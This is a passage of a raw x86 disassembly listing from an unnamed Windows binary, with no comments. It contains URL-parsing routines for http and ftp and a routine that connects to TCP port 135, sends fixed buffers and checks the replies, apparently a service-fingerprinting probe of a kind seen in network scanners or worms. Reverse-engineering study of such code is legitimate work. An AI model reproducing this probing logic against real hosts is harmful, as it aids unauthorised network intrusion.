eax mov eax, offset dword_50BB54 retn ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_420DC0: ; CODE XREF: ___:00401771j push ebx push ebp push esi mov esi, [esp+10h] push edi mov edi, dword_50FAA0 push esi call edi mov ebp, dword_50FA98 push 2 push 0 push esi mov ebx, eax call ebp push esi call edi push 0 push ebx push esi mov edi, eax call ebp add esp, 20h mov eax, edi pop edi pop esi pop ebp pop ebx retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_420E10 proc near ; CODE XREF: sub_401938j var_84 = byte ptr -84h var_6C = byte ptr -6Ch var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_420E10 push eax mov large fs:0, esp sub esp, 78h push ebx push esi mov esi, [esp+8Ch+arg_0] xor ebx, ebx cmp esi, ebx push edi jnz short loc_420E3F xor al, al jmp loc_421419 ; --------------------------------------------------------------------------- loc_420E3F: ; CODE XREF: sub_420E10+26j lea ecx, [esp+90h+var_84] call sub_401424 push esi lea ecx, [esp+94h+var_84] mov [esp+94h+var_4], ebx call sub_4015D7 push offset asc_443C84 ; ":" lea eax, [esp+94h+var_54] push ebx push eax lea ecx, [esp+9Ch+var_84] call sub_4016AE mov esi, [esp+90h+arg_4] push eax mov ecx, esi mov byte ptr [esp+94h+var_4], 1 call sub_401FBE lea ecx, [esp+90h+var_54] mov byte ptr [esp+90h+var_4], bl call sub_401226 push offset aHttp ; "http" mov ecx, esi call sub_4012EE test eax, eax jz short loc_420ECF push offset aFtp ; "ftp" mov ecx, esi call sub_4012EE test eax, eax jz short loc_420ECF lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_421419 ; --------------------------------------------------------------------------- loc_420ECF: ; CODE XREF: sub_420E10+92j ; sub_420E10+A2j push offset asc_444400 ; "/" lea ecx, [esp+94h+var_54] push 1 push ecx lea ecx, [esp+9Ch+var_84] call sub_4016AE push 40h mov ecx, eax mov byte ptr [esp+94h+var_4], 2 call sub_401D20 lea ecx, [esp+90h+var_54] mov edi, eax mov byte ptr [esp+90h+var_4], bl call sub_401226 cmp edi, ebx push offset asc_444400 ; "/" push 1 jz loc_42120C lea edx, [esp+98h+var_24] lea ecx, [esp+98h+var_84] push edx call sub_4016AE push offset dword_4437F8 lea ecx, [esp+94h+var_3C] push 1 push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 3 call sub_4016AE push offset asc_443C84 ; ":" lea edx, [esp+94h+var_54] push ebx push edx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 4 call sub_4016AE lea edi, [esi+15h] push eax mov ecx, edi mov byte ptr [esp+94h+var_4], 5 call sub_401FBE lea ecx, [esp+90h+var_54] mov byte ptr [esp+90h+var_4], 4 call sub_401226 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], 3 call sub_401226 lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], bl call sub_401226 push offset byte_446F60 mov ecx, edi call sub_4012EE test eax, eax jnz short loc_420FC9 lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_421419 ; --------------------------------------------------------------------------- loc_420FC9: ; CODE XREF: sub_420E10+19Cj push offset asc_444400 ; "/" lea eax, [esp+94h+var_54] push 1 push eax lea ecx, [esp+9Ch+var_84] call sub_4016AE push offset dword_4437F8 lea ecx, [esp+94h+var_3C] push 1 push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 6 call sub_4016AE push offset asc_443C84 ; ":" lea edx, [esp+94h+var_24] push 1 push edx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 7 call sub_4016AE mov ecx, eax mov byte ptr [esp+90h+var_4], 8 call sub_4017E4 push eax call near ptr 77C1BF18h nop add esp, 4 lea ecx, [esp+90h+var_24] mov [esi+54h], eax mov byte ptr [esp+90h+var_4], 7 call sub_401226 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], 6 call sub_401226 lea ecx, [esp+90h+var_54] mov byte ptr [esp+90h+var_4], bl call sub_401226 cmp [esi+54h], ebx jnz short loc_421095 push offset aHttp ; "http" mov ecx, esi call sub_4012EE test eax, eax jnz short loc_42107E mov dword ptr [esi+54h], 50h loc_42107E: ; CODE XREF: sub_420E10+265j push offset aFtp ; "ftp" mov ecx, esi call sub_4012EE test eax, eax jnz short loc_421095 mov dword ptr [esi+54h], 15h loc_421095: ; CODE XREF: sub_420E10+255j ; sub_420E10+27Cj push offset asc_444400 ; "/" lea eax, [esp+94h+var_54] push 1 push eax lea ecx, [esp+9Ch+var_84] call sub_4016AE push offset dword_4437F8 lea ecx, [esp+94h+var_3C] push ebx push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 9 call sub_4016AE push offset asc_443C84 ; ":" lea edx, [esp+94h+var_24] push ebx push edx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 0Ah call sub_4016AE lea edi, [esi+2Ah] push eax mov ecx, edi mov byte ptr [esp+94h+var_4], 0Bh call sub_401FBE lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], 0Ah call sub_401226 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], 9 call sub_401226 lea ecx, [esp+90h+var_54] mov byte ptr [esp+90h+var_4], bl call sub_401226 push offset byte_446F60 mov ecx, edi call sub_4012EE test eax, eax jnz short loc_42114E lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_421419 ; --------------------------------------------------------------------------- loc_42114E: ; CODE XREF: sub_420E10+321j push offset asc_444400 ; "/" lea eax, [esp+94h+var_54] push 1 push eax lea ecx, [esp+9Ch+var_84] call sub_4016AE push offset dword_4437F8 lea ecx, [esp+94h+var_3C] push ebx push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 0Ch call sub_4016AE push offset asc_443C84 ; ":" lea edx, [esp+94h+var_24] push 1 push edx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 0Dh call sub_4016AE lea edi, [esi+3Fh] push eax mov ecx, edi mov byte ptr [esp+94h+var_4], 0Eh call sub_401FBE lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], 0Dh call sub_401226 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], 0Ch call sub_401226 lea ecx, [esp+90h+var_54] mov byte ptr [esp+90h+var_4], bl call sub_401226 push offset byte_446F60 mov ecx, edi call sub_4012EE test eax, eax jnz loc_421333 lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_421419 ; --------------------------------------------------------------------------- loc_42120C: ; CODE XREF: sub_420E10+100j lea eax, [esp+98h+var_3C] lea ecx, [esp+98h+var_84] push eax call sub_4016AE push offset asc_443C84 ; ":" lea ecx, [esp+94h+var_24] push ebx push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 0Fh call sub_4016AE lea edi, [esi+15h] push eax mov ecx, edi mov byte ptr [esp+94h+var_4], 10h call sub_401FBE lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], 0Fh call sub_401226 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], bl call sub_401226 push offset byte_446F60 mov ecx, edi call sub_4012EE test eax, eax jnz short loc_421293 lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_401226 xor al, al jmp loc_421419 ; --------------------------------------------------------------------------- loc_421293: ; CODE XREF: sub_420E10+466j push offset asc_444400 ; "/" lea edx, [esp+94h+var_3C] push 1 push edx lea ecx, [esp+9Ch+var_84] call sub_4016AE push offset asc_443C84 ; ":" lea ecx, [esp+94h+var_24] push 1 push ecx mov ecx, eax mov byte ptr [esp+9Ch+var_4], 11h call sub_4016AE mov ecx, eax mov byte ptr [esp+90h+var_4], 12h call sub_4017E4 push eax nop call near ptr 77C1BF18h add esp, 4 lea ecx, [esp+90h+var_24] mov [esi+54h], eax mov byte ptr [esp+90h+var_4], 11h call sub_401226 lea ecx, [esp+90h+var_3C] mov byte ptr [esp+90h+var_4], bl call sub_401226 cmp [esi+54h], ebx jnz short loc_421333 push offset aHttp ; "http" mov ecx, esi call sub_4012EE test eax, eax jnz short loc_42131C mov dword ptr [esi+54h], 50h loc_42131C: ; CODE XREF: sub_420E10+503j push offset aFtp ; "ftp" mov ecx, esi call sub_4012EE test eax, eax jnz short loc_421333 mov dword ptr [esi+54h], 15h loc_421333: ; CODE XREF: sub_420E10+3DBj ; sub_420E10+4F3j ... push offset asc_444400 ; "/" lea ecx, [esp+94h+var_84] call sub_4013E3 lea edx, [esp+90h+var_6C] push eax push edx lea ecx, [esp+98h+var_84] call sub_401E2E push offset asc_444400 ; "/" lea ecx, [esp+94h+var_6C] mov byte ptr [esp+94h+var_4], 13h call sub_4013E3 push eax lea eax, [esp+94h+var_24] push eax lea ecx, [esp+98h+var_6C] call sub_401E2E push eax lea ecx, [esp+94h+var_6C] mov byte ptr [esp+94h+var_4], 14h call sub_40200E lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], 13h call sub_401226 push offset asc_444400 ; "/" lea ecx, [esp+94h+var_6C] call sub_4013E3 lea ecx, [esp+90h+var_24] push eax push ecx lea ecx, [esp+98h+var_6C] call sub_401E2E push eax lea ecx, [esp+94h+var_6C] mov byte ptr [esp+94h+var_4], 15h call sub_40200E lea ecx, [esp+90h+var_24] mov byte ptr [esp+90h+var_4], 13h call sub_401226 add esi, 58h push offset asc_444400 ; "/" mov ecx, esi call sub_4015D7 lea edx, [esp+90h+var_6C] mov ecx, esi push edx call sub_4016BD lea ecx, [esp+90h+var_6C] mov byte ptr [esp+90h+var_4], bl call sub_401226 lea ecx, [esp+90h+var_84] mov [esp+90h+var_4], 0FFFFFFFFh call sub_401226 mov al, 1 loc_421419: ; CODE XREF: sub_420E10+2Aj ; sub_420E10+BAj ... mov ecx, [esp+90h+var_C] pop edi pop esi pop ebx mov large fs:0, ecx add esp, 84h retn sub_420E10 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 190h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4215D0 proc near ; CODE XREF: sub_401AEBj arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov edx, [esp+arg_4] push ebx mov ebx, [esp+4+arg_C] push ebp sub edx, ebx xor eax, eax push esi push edi test edx, edx jle short loc_4215FB loc_4215E4: ; CODE XREF: sub_4215D0+29j mov esi, [esp+10h+arg_0] mov edi, [esp+10h+arg_8] add esi, eax mov ecx, ebx xor ebp, ebp repe cmpsb jz short loc_421602 inc eax cmp eax, edx jl short loc_4215E4 loc_4215FB: ; CODE XREF: sub_4215D0+12j pop edi pop esi pop ebp xor al, al pop ebx retn ; --------------------------------------------------------------------------- loc_421602: ; CODE XREF: sub_4215D0+24j pop edi pop esi pop ebp mov al, 1 pop ebx retn sub_4215D0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_421620: ; CODE XREF: ___:0040209Aj mov eax, 2010h call sub_436840 mov eax, [esp+2018h] push ebp push esi dec eax push edi jz short loc_42166D dec eax jz short loc_421647 dec eax pop edi pop esi xor eax, eax pop ebp add esp, 2010h retn ; --------------------------------------------------------------------------- loc_421647: ; CODE XREF: ___:00421638j mov eax, [esp+2020h] push 1388h push eax call sub_402004 add esp, 8 neg al sbb eax, eax pop edi pop esi and eax, 3 pop ebp add esp, 2010h retn ; --------------------------------------------------------------------------- loc_42166D: ; CODE XREF: ___:00421635j push 6 push 1 push 2 nop call near ptr 71AB3B91h mov esi, eax cmp esi, 0FFFFFFFFh jz loc_4217C9 cmp esi, 0FFFFFFFFh jz loc_4217C9 xor ecx, ecx push 87h mov [esp+10h], ecx mov word ptr [esp+10h], 2 mov [esp+14h], ecx mov [esp+18h], ecx mov [esp+1Ch], ecx nop call near ptr 71AB2B66h mov edx, [esp+2020h] mov [esp+0Eh], ax push edx call sub_40187F add esp, 4 mov [esp+10h], eax lea eax, [esp+0Ch] push 10h push eax push esi nop call near ptr 71AB406Ah cmp eax, 0FFFFFFFFh jz loc_4217C2 mov ebp, dword_50FC8C push 0 push 48h push offset dword_443DC8 push esi call ebp cmp eax, 0FFFFFFFFh jz loc_4217C2 mov edi, dword_50FC90 push 0 lea ecx, [esp+20h] push 2000h push ecx push esi call edi cmp eax, 0FFFFFFFFh jz loc_4217C2 cmp byte ptr [esp+1Eh], 0Ch jnz loc_4217C2 push 0 push 18h push offset dword_443E3C push esi call ebp cmp eax, 0FFFFFFFFh jz loc_4217C2 push 0 lea edx, [esp+20h] push 2000h push edx push esi call edi mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_4217C2 cmp byte ptr [esp+1Eh], 2 jnz short loc_4217C2 push 10h push offset loc_443E14 lea eax, [esp+24h] push edi push eax call sub_401AEB add esp, 10h test al, al jz short loc_421791 xor ecx, ecx cmp edi, 12Ch setnl cl inc ecx push esi mov edi, ecx nop call near ptr 71AB9639h mov eax, edi pop edi pop esi pop ebp add esp, 2010h retn ; --------------------------------------------------------------------------- loc_421791: ; CODE XREF: ___:0042176Ej push 10h push offset dword_443E28 lea edx, [esp+24h] push edi push edx call sub_401AEB add esp, 10h neg al sbb eax, eax push esi and eax, 3 mov edi, eax nop call near ptr 71AB9639h mov eax, edi pop edi pop esi pop ebp add esp, 2010h retn ; --------------------------------------------------------------------------- loc_4217C2: ; CODE XREF: ___:004216DBj ; ___:004216F6j ... push esi nop call near ptr 71AB9639h loc_4217C9: ; CODE XREF: ___:0042167Ej ; ___:00421687j pop edi pop esi xor eax, eax pop ebp add esp, 2010h retn ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 70h dup(0CCh) ; --------------------------------------------------------------------------- loc_421850: ; CODE XREF: ___:00401A00j xor al, al retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421870 proc near ; CODE XREF: sub_40120Dj var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_401311 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_4010E6 sub_421870 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4218B0 proc near ; CODE XREF: sub_4018D9j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_401901 sub_4218B0 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4218F0 proc near ; CODE XREF: sub_401816j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_40196F mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_4014D8 mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_401997 mov edx, [esi+4] mov ecx, esi push edx call sub_401947 sub_4218F0 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421960 proc near ; CODE XREF: sub_4014D8j arg_0 = dword ptr 4 mov eax, [ecx+4] push esi push eax call sub_40204F mov ecx, [eax] mov esi, [esp+8+arg_0] add esp, 4 push ecx mov ecx, esi call sub_401EBF mov eax, esi pop esi retn 4 sub_421960 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4219A0 proc near ; CODE XREF: sub_40196Fj arg_0 = dword ptr 4 mov eax, [ecx+4] push esi mov esi, [esp+4+arg_0] push eax mov ecx, esi call sub_401EBF mov eax, esi pop esi retn 4 sub_4219A0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4219D0 proc near ; CODE XREF: sub_402167j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_40196F mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_4018FC sub_4219D0 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421A10 proc near ; CODE XREF: sub_401703j push esi mov esi, ecx call sub_4019EC mov eax, esi pop esi retn sub_421A10 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421A30 proc near ; CODE XREF: sub_40122Bj mov eax, [ecx] push eax call sub_4010F5 add esp, 4 retn sub_421A30 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421A50 proc near ; CODE XREF: sub_40107Dj push esi mov esi, ecx mov eax, [esi] push eax call sub_40204F mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_421A50 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421A80 proc near ; CODE XREF: sub_401802j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401FFF neg al sbb eax, eax inc eax retn 4 sub_421A80 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421AB0 proc near ; CODE XREF: sub_4016E0j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_401212 sub_421AB0 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421AF0 proc near ; CODE XREF: sub_401253j var_C = byte ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 sub esp, 0Ch lea eax, [esp+0Ch+var_C] push esi mov esi, ecx push eax call sub_4013ED mov ecx, [eax] lea edx, [esp+10h+var_8] push ecx push edx mov ecx, esi call sub_40145B mov eax, [eax] lea ecx, [esp+14h+var_4] push eax push ecx mov ecx, esi call sub_40100F mov edx, [esi+4] mov ecx, esi push edx call sub_4021B7 sub_421AF0 endp ; --------------------------------------------------------------------------- xor eax, eax mov [esi+4], eax mov [esi+8], eax pop esi add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421B60 proc near ; CODE XREF: sub_40145Bj arg_0 = dword ptr 4 mov eax, [ecx+4] push esi push eax call sub_40110E mov ecx, [eax] mov esi, [esp+8+arg_0] add esp, 4 push ecx mov ecx, esi call sub_401D75 mov eax, esi pop esi retn 4 sub_421B60 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421BA0 proc near ; CODE XREF: sub_4013EDj arg_0 = dword ptr 4 mov eax, [ecx+4] push esi mov esi, [esp+4+arg_0] push eax mov ecx, esi call sub_401D75 mov eax, esi pop esi retn 4 sub_421BA0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421BD0 proc near ; CODE XREF: sub_401325j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_4013ED mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401BAE sub_421BD0 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421C10 proc near ; CODE XREF: sub_401B40j push esi mov esi, ecx call sub_4011A9 mov eax, esi pop esi retn sub_421C10 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421C30 proc near ; CODE XREF: sub_401055j mov eax, [ecx] push eax call sub_40108C add esp, 4 retn sub_421C30 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421C50 proc near ; CODE XREF: sub_40182Aj push esi mov esi, ecx mov eax, [esi] push eax call sub_40110E mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_421C50 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421C80 proc near ; CODE XREF: sub_4012BCj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401D48 neg al sbb eax, eax inc eax retn 4 sub_421C80 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421CB0 proc near ; CODE XREF: sub_4010E6j arg_4 = byte ptr 8 push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_401ECE mov edi, eax push edi call sub_401B1D mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_40139D sub_421CB0 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_401B1D push edi mov [eax], ebx call sub_401B1D mov edi, [eax] push edi call sub_401B1D mov ecx, [eax] push ecx call sub_4015D2 mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_401172 add esp, 4 mov ecx, esi push eax call sub_401E3D mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx mov esi, [esp+14h] mov ecx, esi call sub_401D84 mov eax, esi pop edi pop esi pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421D50 proc near ; CODE XREF: sub_4018FCj arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_4010C8 mov edi, eax push edi call sub_401CF3 mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_401901 sub_421D50 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_401CF3 push edi mov [eax], ebx call sub_401CF3 mov edi, [eax] push edi call sub_401CF3 mov ecx, [eax] push ecx call sub_40204F mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_4010F5 add esp, 4 mov ecx, esi push eax call sub_4017E9 mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx mov esi, [esp+14h] mov ecx, esi call sub_401EBF mov eax, esi pop edi pop esi pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421DF0 proc near ; CODE XREF: sub_401997j var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_401802 test al, al jz short loc_421E4A loc_421E08: ; CODE XREF: sub_421DF0+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_4020B8 mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401A1E ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_401802 test al, al jnz short loc_421E08 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov [eax], edx add esp, 8 retn 0Ch ; --------------------------------------------------------------------------- loc_421E4A: ; CODE XREF: sub_421DF0+16j mov eax, [esp+0Ch+arg_0] mov ecx, [esp+0Ch+arg_4] pop esi mov [eax], ecx add esp, 8 retn 0Ch sub_421DF0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421E80 proc near ; CODE XREF: sub_401901j arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 24h call sub_401DF2 sub_421E80 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_421E95 mov edi, esi loc_421E95: ; CODE XREF: ___:00421E91j push esi call sub_40204F mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_421EAA mov edi, esi loc_421EAA: ; CODE XREF: ___:00421EA6j push esi call sub_401CF3 add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421ED0 proc near ; CODE XREF: sub_401947j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 1 push eax call sub_401546 sub_421ED0 endp ; --------------------------------------------------------------------------- retn 4 ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421EF0 proc near ; CODE XREF: sub_40204Fj arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_421EF0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421F10 proc near ; CODE XREF: sub_4010F5j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_421F10 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421F30 proc near ; CODE XREF: sub_4019ECj mov eax, ecx retn sub_421F30 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421F50 proc near ; CODE XREF: sub_401EBFj arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_401519 mov eax, esi pop esi retn 4 sub_421F50 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_421F80 proc near ; CODE XREF: sub_401FFFj arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_421F80 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_421FB0 proc near ; CODE XREF: sub_401BAEj arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_4018E8 mov edi, eax push edi call sub_4010EB mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_401212 sub_421FB0 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_4010EB push edi mov [eax], ebx call sub_4010EB mov edi, [eax] push edi call sub_4010EB mov ecx, [eax] push ecx call sub_40110E mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_40108C add esp, 4 mov ecx, esi push eax call sub_4013DE mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx mov esi, [esp+14h] mov ecx, esi call sub_401D75 mov eax, esi pop edi pop esi pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_422050 proc near ; CODE XREF: sub_40100Fj var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch sub esp, 8 lea eax, [esp+8+arg_8] push esi mov esi, ecx push eax lea ecx, [esp+10h+arg_4] call sub_4012BC test al, al jz short loc_4220AA loc_422068: ; CODE XREF: sub_422050+47j lea ecx, [esp+0Ch+var_8] push 0 push ecx lea ecx, [esp+14h+arg_4] call sub_4019AB mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_401B7C ; --------------------------------------------------------------------------- lea ecx, [esp+0Ch+arg_8] push ecx lea ecx, [esp+10h+arg_4] call sub_4012BC test al, al jnz short loc_422068 mov eax, [esp+0Ch+arg_0] mov edx, [esp+0Ch+arg_4] pop esi mov 